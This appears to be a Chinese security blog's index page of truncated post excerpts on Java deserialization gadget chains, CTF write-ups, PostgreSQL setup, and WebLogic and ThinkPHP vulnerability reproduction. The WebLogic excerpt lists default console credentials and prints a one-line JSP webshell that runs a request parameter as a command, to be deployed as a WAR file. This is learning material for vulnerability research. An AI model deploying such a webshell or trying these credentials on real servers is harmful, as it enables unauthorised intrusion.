JAVA反序列化之CC3链分析
环境jdk:jdk8u65CC:Commons-Collections 3.2.1
和Java利用defineClass()加载动态字节码原理相似,可以参考:但是只加载恶意类 不初始化的话 是不会执行代码的,还需要一个 newInstance 初始化的操作。defineClass() 往往都是 protected类型的 只能通过反射去调用
具体调试和过程都在这篇文章:[[java加载动态字节码]]初步链子:12345TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass() Class#newInstance()
CC3相对于CC1和CC6的优势是可以加载任意动态字节码,假如题目有黑名单限制不能出现flag等敏感词,我们就可以通过这种方法来绕过
而我们最终的目标就是调用TemplatesImpl.newTransformer()
CC1加Templ ...
JAVA反序列化之CC6链分析
由于jdk8u71之后sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了,没有setValue()方法了:
CommonsCollections6是commons-collections这个库中相对⽐较通⽤的利⽤链,不限制jdk版本
环境:
jdk8u71,地址:
Comoons-Collections 3.2.1
poe.xml1234567<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies>
链子1234567891011121314/* Gadget ...
snakeyaml链子学习总结
12345<dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version></dependency>
基础示例Person123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354public class Person { private String name; private Integer age; public String school; protected String province; public String getSchool() { System.out.println("getSchool 方法被调用&qu ...
C3P0链子学习总结
URLClassLoader链1234567<dependencies> <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency></dependencies>
PoolBackedDataSourceBase入口链sink点在ReferenceableUtils.referenceToObject()方法里面有类加载器加载恶意类
一直查找用法:1PoolBackedDataSourceBase.readObject()->ReferenceIndirector.getObject()->ReferenceableUtils.referenceToObject()->
我们查看PoolBackedDataSourceBase.r ...
DASCTF X GFCTF2024 | 四月开启第一局wp
cool_index1index = parseInt(index);
考察parseInt()函数的特性这个函数处理数组只取第一个值,或者处理数字开头的字符串也会只取前面的数字eg.123456789101112const index = parseInt("7a");const target=7;console.log(index);console.log(index>target);console.log(Number.isNaN(index))var test2=Array("7","2");var res2=parseInt(test2);console.log(parseInt(res2));console.log(Number.isNaN(res2));console.log(res2>7);输出1234567falsefalse7falsefalse
EasySignin这里抓包很明显发现可以修改任意用户的密码,我们尝试修改admin的密码,然后登录admin的账号
getpicture.php接口 ...
PostgreSQL总结
安装:Windows官网下载: https://www.postgresql.org/download/windows/设置一个管理员密码,需要记住
通过 psql 连接 PostgreSQL:去bin目录,或者配个环境变量12psql.exe –U postgres输入口令即可
或者直接打开SQL Shell,前面默认最好输个口令
pgAdmin4直接打开也行
docker1docker pull postgres:12.3
创建本地卷1docker volume create pgdata
查看卷1docker volume inspect pgdata
启动容器1docker run --name postgres12 -e POSTGRES_PASSWORD=123456 -p 5040:5040 -v pgdata:/var/lib/postgresql/data -d postgres:12.3
-d指定镜像,-v指定卷映射这个pgdata的数据我好奇放哪里了,因为我是Windows cmd开的,就去网上搜了一下,最终在"\\wsl$\docker-desktop ...
第二届AliyunCTF chain17复现
分析这题给了一个客户端client和一个服务端serverserver端就一个jooq依赖,一个read路由的反序列化点client端有hessian,hutool,h2依赖123456789101112131415161718<dependency> <groupId>com.alibaba</groupId> <artifactId>hessian-lite</artifactId> <version>3.2.13</version></dependency><dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.8.16</version></dependency><!-- https://mvnrepository.com/ar ...
Weblogic学习2-一些历史漏洞的复现
Weblogic 弱口令&&文件上传/console路由:常见弱口令:
账户
密码
system
password
weblogic
weblogic
guest
guest
portaladmin
portaladmin
admin
security
joe
password
mary
password
system
security
wlcsystem
wlcsystem
wlcsystem
sipisystem
其他常见密码1234567weblogic1 weblogic12 weblogic123 weblogic@123 webl0gic weblogic# weblogic@
上传war包RCE:随便写一句话木马12<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>打包1jar cvf test.war test.jsp先锁定并编辑,部署,安装上传文件一直下一步.完成,先左上角点激活 ...
Weblogic学习1&&CVE-2015-4852分析
环境配置weblogic下载链接: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html选择10.3.6的Generic版本下载本地cmd执行:1java -D64 -jar wls1036_generic.jar这里报错了上网查了一下发现路径不能有中文,换个目录,正常安装一直下一步就行,安装完会自动运行quickstart创建新的weblogic域,这里我会报错在执行/Middleware/wlserver_10.3/common/bin/config.exe的时候无法创建jvm,把jdk版本换成jdk1.7_80重新装一次就好了一直下一步,配置域的名称和位置配置管理员用户名和密码下一步选择生产模式,jdk选择下一步选受管服务器、集群和计算机后面就一直下一步就行
安装完成后进入Middleware\user_projects\domains\base_domain双击运行startWebLogic.cmd,输入刚才填的用户名和密码访问: http://127.0.0.1:7001/c ...
thinkphp全版本漏洞复现总结
这个是之前学的,当复习重新看一遍,顺便发到很久没更的博客里
基础知识安装:1composer create-project topthink/think=5.0.* tp5 --prefer-dist
表示安装最新的5.0版本,这里是5.0.24,这里的tp5目录名可以任意更改,如果之前安装过,则切换到tp5应用根目录下,执行:1composer update topthink/framework如果很卡:1234指定国内源composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/composer config -g -l
此时安装成功会有一个提示composer audit可以查看历史漏洞,我们进入www.tp5.com目录查看一下发现有7个CVE,后面会一个个分析
一些基础目录结构在readme文件有解释12router.php用于php自带webserver支持,可用于快速测试 启动命令:php -S localhost:8888 router.php
开启调试:config. ...